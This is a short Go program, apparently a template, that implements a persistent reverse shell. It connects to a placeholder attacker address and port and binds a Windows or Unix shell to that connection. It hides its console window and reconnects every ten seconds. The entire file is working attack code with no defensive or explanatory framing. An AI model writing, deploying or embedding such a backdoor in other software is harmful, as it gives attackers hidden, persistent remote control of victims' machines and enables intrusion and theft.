package main

import (
  "net"
  "time"
  "os/exec"
  "syscall"
)

func main() {
  var conn net.Conn
  var err error
  var cmd *exec.Cmd
  sysprocattr := &syscall.SysProcAttr{HideWindow: true}
  for {
    conn, err = net.Dial("tcp", "<attacker-ip>:<port>")
    if err == nil {
      cmd = exec.Command("<cmd for windows, bash or sh for linux>")
      cmd.SysProcAttr = sysprocattr
      cmd.Stdin = conn
      cmd.Stderr = conn
      cmd.Stdout = conn
      cmd.Run()
    }
    if conn != nil {
      conn.Close()
      conn = nil
    }
    time.Sleep(10 * time.Second)
  }
}